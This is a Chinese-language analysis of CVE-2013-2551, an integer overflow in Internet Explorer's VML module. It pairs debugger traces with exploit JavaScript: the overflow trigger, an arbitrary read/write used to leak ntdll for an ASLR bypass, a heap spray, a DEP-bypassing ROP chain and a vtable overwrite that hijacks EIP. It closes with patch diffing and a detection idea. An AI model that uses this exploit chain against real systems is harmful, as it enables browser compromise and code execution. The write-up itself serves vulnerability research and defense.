CVE-2013-2551样本分析及漏洞利用和防御

VUPEN团队在Pwn2Own 2013黑客大赛上使用漏洞攻破Windows 8环境下的IE10，随后在其博客上公开了技术细节。根据VUPEN描述，该漏洞产生于VGX.DLL模块，在VML语言中处理图形标签的stroke子元素的dashstyle存在安全隐患

微软在安全公告MS13-037中详细列举了受影响软件范围从IE6-IE10，并给出相应平台的安全更新

本文调试的Poc由4B5F5F4B根据VUPEN在博客中公开的信息构造

调试思路是对IE开启页堆，利用调试器支持，实时检测到溢出之后，根据函数调用关系往上一层一层跟踪数据来源和阅读反汇编代码，寻找漏洞触发的关键点

0x1 调试环境 & 样本信息

1.1 调试环境

• [操作系统]：Windows 7 Ultimate SP1(X64)、 Windows 7 Ultimate  SP1(X86)

• [浏览器]：Internet Explorer 8.0.7601.17514

• [调试器]：Windbg 6.11.0001.402 X86

• [反汇编器]：IDA Pro 6.8.150423(32-bit)

1.2 样本信息

• [样本名]：poc.html

• [MD5]：0B8CBEE6465D1D22B79866DE997C509A

• [SHA1]：161621EF49A453692537DBC33D10DDC73EB5133D

• [CRC32]：FAE274A5

0x2 样本调试

2.1 对IE浏览器开启页堆

2.2 运行样本

使用Windbg附加IE，然后运行样本，允许加载ActiveX控件，并点击页面中的crash按钮

2.3 查看崩溃时信息

崩溃语句信息

0:012> g
(894.f80): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=201c7064 ebx=72a94964 ecx=00000001 edx=00000000 esi=201c7060 edi=08b69d44
eip=76de9966 esp=08b69d00 ebp=08b69d08 iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010297
msvcrt!memcpy+0x158:
76de9966 8b448efc        mov     eax,dword ptr [esi+ecx*4-4] ds:002b:201c7060=????????

栈的调用关系

0:004> kb
ChildEBP RetAddr  Args to Child              
08b69d08 72a3cfa9 08b69d44 201c7060 00000004 msvcrt!memcpy+0x158
08b69d1c 72a8da0f 20c5afe8 08b69d44 00000044 vgx!ORG::Get+0x27
08b69d48 76c53e75 20c5afe8 00000044 08b69dac vgx!COALineDashStyleArray::get_item+0x8c
08b69d68 76c53cef 20e62ff0 00000024 00000004 OLEAUT32!DispCallFunc+0x165
...(lines have been omitted)...

查看vgx模块的详细信息

0:004> lm vm vgx
start    end        module name
72a10000 72ad1000   vgx        (pdb symbols)          c:symboslVGX.pdb3CED25965F214824ABDF507AE4541DE32VGX.pdb
    Loaded symbol image file: C:Program Files (x86)Common FilesMicrosoft SharedVGXvgx.dll
    Image path: C:Program Files (x86)Common FilesMicrosoft SharedVGXvgx.dll
    Image name: vgx.dll
    Timestamp:        Tue Jul 14 09:11:08 2009 (4A5BDB2C)
    CheckSum:         000C2C1E
    ImageSize:        000C1000
    File version:     8.0.7600.16385
    Product version:  8.0.7600.16385
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Microsoft Corporation
    ProductName:      Windows® Internet Explorer
    InternalName:     VGX.DLL
    OriginalFilename: VGX.DLL
    ProductVersion:   8.00.7600.16385
    FileVersion:      8.00.7600.16385 (win7_rtm.090713-1255)
    FileDescription:  Microsoft Vector Graphics Rendering(VML)
    LegalCopyright:   © Microsoft Corporation. All rights reserved.

2.4 使用IDA查看崩溃点附近代码

msvcrt!memcpy函数经过千锤百炼几乎不用去怀疑，直接查看上层调用

计算偏移：0x72a3cfa4 – 0x72a10000 = 0x2CFA4

该版本vgx.dll模块在IDA中的基址为：0x198C0000

经过计算，memcpy函数在地址0x198ECFA4处被调用

经过分析，src为结构体第4项数据 + （结构体第2项数据 && 0xFFFF）* arg_8

2.5 继续查看上层函数

在Windbg中查看(vgx!COALineDashStyleArray::get_item+0x89)

72a8da0c ff511c          call    dword ptr [ecx+1Ch]
72a8da0f 8b4510          mov     eax,dword ptr [ebp+10h]

计算该语句在IDA中的地址

0x72a8da0c - 0x72a10000 + 0x198C0000 = 0x1993DA0C

使用IDA查看该函数

使用Windbg跟踪vgx!COALineDashStyleArray::get_item的执行流程

重新运行样本

0:015> .childdbg 1
Processes created by the current process will be debugged
0:015> bu 72a8da0c - 72a10000 + vgx.dll
0:015> bu 72a8d983 - 72a10000 + vgx.dll
0:015> bl
 0 e 70a4da0c     0001 (0001)  0:**** vgx!COALineDashStyleArray::get_item+0x89
 1 e 70a4d983     0001 (0001)  0:**** vgx!COALineDashStyleArray::get_item

经过调试，在vgx!COALineDashStyleArray::get_item+0x70处调用vgx!ORG::CElements函数

vgx!COALineDashStyleArray::get_item+0x70:
70a4d9f3 ff512c          call    dword ptr [ecx+2Ch]  ds:002b:709e7284={vgx!ORG::CElements (709fd079)}

单步步入vgx!ORG::CElements函数

根据movzx指令判断，该数值为无符号数

函数返回后，对使用0扩展之后的无符号数进行了有符号的条件判断

之前的unsigned short int 0扩展之后被强转为 int，且样本传入的数值为0xFFFF，造成整数溢出

0x3 漏洞利用

本文漏洞利用针对没打任何补丁的Windows 7 Ultimate  SP1(X86) 环境，结合源码和调试分析利用过程

本文中漏洞利用代码主要参考调试的Poc样本代码、以及网上的公开代码整理编写

漏洞利用成功截图

Poc源码中溢出的关键语句:

vml1.dashstyle.array.length = 0 - 1

3.1 过ASLR

过ASLR的源码大致如下:

for (var i=0; i<0x400; i++){
a[i].rotation;              
if (i == 0x300) {            
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
  }
 }
 var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length      = 0 - 1;
for (var i=0; i<0x400; i++) {
a[i].marginLeft   = "Khwarezm111";
marginLeftAddress = vml1.dashstyle.array.item(0x2e+0x16);
if (marginLeftAddress > 0) {
 vml1.dashstyle.array.item(0x2e+0x16) = 0x7ffe0300;
 var leak = a[i].marginLeft;
 vml1.dashstyle.array.item(0x2e+0x16) = marginLeftAddress;
 vml1.dashstyle.array.length = length_orig;
 ntdll_base=parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16 ) - 0x470B0;

在赋值之后，加入弹框把流程中断下来

vml1.dashstyle.array.item(0x2e+0x16) = 0x7ffe0300;
alert("pause");

使用Windbg附加运行，弹出窗口后在Windbg上点击暂停，然后搜索数值0x7ffe0300

0:015> s -b 0x0 L?0x7fffffff 00 03 fe 7f
020ce7c8  00 03 fe 7f c4 ea 0d 02-90 d5 0c 02 00 00 00 00  ................
020dbfa3  00 03 fe 7f 25 01 00 5b-03 14 1e 74 05 00 00 0a  ....%..[...t....
020dccb8  00 03 fe 7f 00 00 00 00-80 00 0b 02 00 00 00 00  ................
04be5c78  00 03 fe 7f 00 00 00 00-00 00 00 00 00 00 00 00  ................
762113e6  00 03 fe 7f ff 12 c2 04-00 90 90 90 90 90 90 90  ................
76212b41  00 03 fe 7f ff 12 c2 08-00 90 90 90 90 90 b8 01  ................

搜索的记录太多无法验证，那么我们再搜索字符串"Khwarezm111"

0:015> s -u 0x0 L?0x7fffffff "Khwarezm111"
0044df04  004b 0068 0077 0061 0072 0065 007a 006d  K.h.w.a.r.e.z.m.
004b48b8  004b 0068 0077 0061 0072 0065 007a 006d  K.h.w.a.r.e.z.m.

接着搜索数值0x0044df04

0:015> s -b 0x0 L?0x7fffffff 04 df 44 00
04bc8568  04 df 44 00 00 00 00 00-00 00 00 00 00 00 00 00  ..D.............
04c0cdcc  04 df 44 00 00 9d 0b 02-28 46 9c 77 04 df 44 00  ..D.....(F.w..D.
04c0cdd8  04 df 44 00 7c 78 0d 02-16 00 00 00 18 cc 64 6c  ..D.|x........dl
04c22c84  04 df 44 00 00 9d 0b 02-28 46 9c 77 04 df 44 00  ..D.....(F.w..D.
04c22c90  04 df 44 00 7c 78 0d 02-16 00 00 00 18 cc 64 6c  ..D.|x........dl

结合以上三个搜索结果，可以猜测地址0x04be5c78就是我们寻找的保存数值0x7ffe0300的地方

在内存窗口验证猜测

往前翻，其内存布局如下

查看圈红处的数据

0:015> db 04a08124 L16
04a08124  4b 00 68 00 77 00 61 00-72 00 65 00 7a 00 6d 00  K.h.w.a.r.e.z.m.
04a08134  31 00 31 00 31 00                                1.1.1.
0:015> db 04a0814c L16
04a0814c  4b 00 68 00 77 00 61 00-72 00 65 00 7a 00 6d 00  K.h.w.a.r.e.z.m.
04a0815c  31 00 31 00 31 00                                1.1.1.

可以看见，上诉代码在一片对象中间利用dashstyle属性插入了和一个对象相同大小的数组，利用溢出，定位到数组后一个对象保存字符串首地址的地方，通过越界写入任意值，然后利用对象的属性定位到该任意值

本文利用固定偏移泄露NTDLL.DLL的基址

0:015> dd 7ffe0300 L1 
7ffe0300  778970b0
0:015> u 778970b0 
ntdll!KiFastSystemCall:
778970b0 8bd4            mov     edx,esp
778970b2 0f34            sysenter

3.2 精确喷射

精确堆喷到地址0x0c0c0c0c，源码大致如下:

var fill = unescape("%u0c0c%u0c0c");
 while (fill.length < 0x1000){
 fill += fill;
 }
 // [ padding offset ]
 padding = fill.substring(0, 0x5F6);
 // [ fill each chunk with 0x1000 bytes ]
 evilcode = padding + rop_chains + shellcode + fill.substring(0, 0x800 - padding.length - rop_chains.length - shellcode.length);

3.3 过DEP

使用ROP链过DEP，源码大致如下:

function getRealAddr(base ,offect){
 var real_addr = base + offect;
 var str = real_addr.toString(16);
 var s1 = str.substring(0,4);
 var s2 = str.substring(4,8);
 return "%u" + s2 + "%u" + s1
}
ntdll_base = getNtdllBase();
stack_pivot = getRealAddr(ntdll_base,0x0001578a);
stack_pivot += getRealAddr(ntdll_base,0x000096c9);
stack_pivot += getRealAddr(ntdll_base,0x00015789);
ntdll_rop = getRealAddr(ntdll_base ,0x45F18);
ntdll_rop += "%u0c40%u0c0c";
ntdll_rop += "%uffff%uffff";
ntdll_rop += "%u0c34%u0c0c";
ntdll_rop += "%u0c38%u0c0c";
ntdll_rop += "%u0040%u0000";
ntdll_rop += "%u0c3c%u0c0c";
ntdll_rop += "%u0c40%u0c0c";
ntdll_rop += "%u0400%u0000";
ntdll_rop += "%u4141%u4141";
rop_chains = unescape(stack_pivot + ntdll_rop);

3.4 劫持EIP

劫持EIP的源码大致如下:

for (var i=0; i<0x1000; i++){
a2[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x800) {
vml1.dashstyle = "1 2 3 4"
}
}
vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = 0x0c0c0c0c;
for (var i=0; i<0x1000; i++)
{
delete a2[i];
CollectGarbage();
}
location.reload();

由于0x0c0c0c0c在内存中存在太多，不方便搜索，将其修改为一个比较特殊的值0x0eeeee0e，然后加入弹框

vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = 0x0eeeee0e;
alert("pause");

使用windbg附加运行，在弹框后暂停，然后搜索数值0x0eeeee0e

0:015> s -b 0x0 L?0x7fffffff 0e ee ee 0e
01a25c49  0e ee ee 0e 25 01 00 94-91 c8 0a 74 05 00 8c fc  ....%......t....
01a2ca8a  0e ee ee 0e 25 01 00 5b-03 28 1e 74 05 00 00 0a  ....%..[.(.t....
01a2cfc0  0e ee ee 0e 00 00 00 00-80 00 00 00 00 00 00 00  ................
12b60280  0e ee ee 0e 50 00 b8 12-01 00 00 00 04 3c 92 12  ....P........<..

根据对其，可以排除第一个搜索结果，由于搜索到的结果不多，可以根据其分布在数组{1，2，3，4}之后寻找

经过在内存中往上寻找数组，地址0x12b60280符合条件

查看附近内存布局

我们看到，一个COAShape对象紧接着一个COAReturnedPointsForAnchor对象，它们占用的内存空间都是一样的。根据源码，我们可以知道，通过布置跟对象大小相同的数组，利用溢出，定位到后一个对象(此处是COAShape对象)的虚表

查看COAShape虚表的内容

此时我们知道虚表指针被改写了

对0x0eeeee0e下执行断点，中断时查看函数的调用关系

0:005> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
020cb840 6a23f212 12ba7be0 6a2bf712 126e3760 0xc0c0c0c
020cb848 6a2bf712 126e3760 126df2c8 6a2bf668 mshtml!ClearInterfaceFn+0xf
020cb854 6a2bf668 126e3748 126e3760 126df2c8 mshtml!CPeerHolder::DetachPeer+0x56
...(lines have been omitted)...

查看上层调用

mshtml!ClearInterfaceFn:
6a23f202 8b08            mov     ecx,dword ptr [eax]
6a23f204 832000          and     dword ptr [eax],0
6a23f207 85c9            test    ecx,ecx
6a23f209 7501            jne     mshtml!ClearInterfaceFn+0x9 (6a23f20c)
6a23f20b c3              ret
6a23f20c 8b01            mov     eax,dword ptr [ecx]
6a23f20e 51              push    ecx
6a23f20f ff5008          call    dword ptr [eax+8]
6a23f212 ebf7            jmp     mshtml!ClearInterfaceFn+0xf (6a23f20b)

地址0x6a23f20f是在调用虚表第二项，正常情况是Release函数，溢出后，劫持了EIP

构造的利用样本将在此处执行换栈操作

0:005> u poi(0c0c0c0c + 8) L1
ntdll!A_SHAInit+0x2e:
77865789 94              xchg    eax,esp

3.5 不使用0x7ffe0300泄露NTDLL.DLL基址过ASLR

使用固定偏移泄露NTDLL.DLL的基址在打过补丁的Windows 7系统上已经不能使用了，实际利用中局限性比较大。我们可以考虑泄露其他模块的基址，或者换种思路泄露NTDLL.DLL基址

对于已有的利用代码来讲换种方式泄露NTDLL.DLL基址对代码的改动量比较小

查看漏洞模块自身的导入表信息

好吧，没有导入NTDLL.DLL的函数。那么我也比较懒，泄露VGX.DLL模块的基址，通过导入表找到KERNEL32.DLL，针对其中某个函数到NTDLL.DLL基址的固定偏移泄露NTDLL.DLL基址。简单可行，源码改动小。当然，缺点是VGX.DLL模块版本限定太死

源码大致如下：

var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length      = 0 - 1;
for (var i=0; i<0x400; i++) {
a[i].marginLeft   = "Khwarezmia";
marginLeftAddress = vml1.dashstyle.array.item(0x2e+0x16);
if (marginLeftAddress > 0) {
 /////////////////////////////////////////////////////////
 //offset to PE
 vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + 0x3c;
 var leak = a[i].marginLeft;
 
 pe_offset = parseInt(leak.charCodeAt(0).toString(16), 16);
 
 //find import directory
 vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + pe_offset + 0x80;
 var leak = a[i].marginLeft;
 
 import_directory = parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16);
 
 //find kernel32.dll
 vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + import_directory + 0x4C;
 var leak = a[i].marginLeft;
 
 thunk = parseInt(leak.charCodeAt(0).toString(16), 16);
 
 //find first function address
 vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + thunk;
 var leak = a[i].marginLeft;
 
 first_function_addr = parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16);
 
 ntdll_base = first_function_addr - 0x47760;
  
 //return original value
 vml1.dashstyle.array.item(0x2e+0x16) = marginLeftAddress;
 vml1.dashstyle.array.length = length_orig;
 /////////////////////////////////////////////////////////
 alert("base of ntdll.dll : " + ntdll_base.toString(16));
 break;
 }
 }
 return ntdll_base;

0x4 漏洞检测

通过本文第二部分分析，已经知道在vgx!ORG::CElements函数内造成溢出

源码中的关键溢出语句：

vml1.dashstyle.array.length = 0 - 1;

从数据关系的角度来看，银行柜台办理存款业务时，柜员收到现金的时候，应该先验钞还是先办理存款登记再验证钞票真伪？答案显然是前者。那么我们的检测点也应该提前到数据输入的地方。

4.1 根据微软安全公告下载补丁

根据微软的安全公告MS13-037下载到补丁KB2829530，补丁前后的VGX.DLL文件版本分别为

• [补丁前]：8.0.7601.18106

• [补丁后]：8.0.7601.18126

4.2 使用Bindiff对比文件

使用Bindiff对比vgx.dll之后，根据符号名称猜测是在COALineDashStyleArray::put_length函数进行的修补

进行对比

通过Windbg调试验证

走到判断数值是否小于0

G一下，利用样本正常运行，没有触发漏洞

我们可以钩取COALineDashStyleArray::put_length函数前五字节，插入判断代码，判断参数的值是否小于0，如果小于0提示用户触发CVE-2013-2551,否则还原流程

检测代码编写略

检测效果截图

0x5 总结

该漏洞属于整数溢出漏洞。其漏洞原因在于VGX.DLL模块中处理dashstyle.array.length属性时未对输入参数进行有效检查。利用溢出造成任意地址读写，改写虚表指针劫持EIP获得任意代码执行的能力

根据参考代码，笔者通过泄露NTDLL.DLL模块基址的方式绕过ASLR，当然，此次绕过的方式并不具有通用性，漏洞利用技巧也是笔者需要更多学习、思考以及参考野外样本利用方式待以提升的地方

最后编码对该漏洞利用样本进行动态检测，从数据关系的角度来看，一定是在获取外部数据的位置部署检测代码。笔者对关键函数进行API HOOK，一旦外部数据不合法立即提示给用户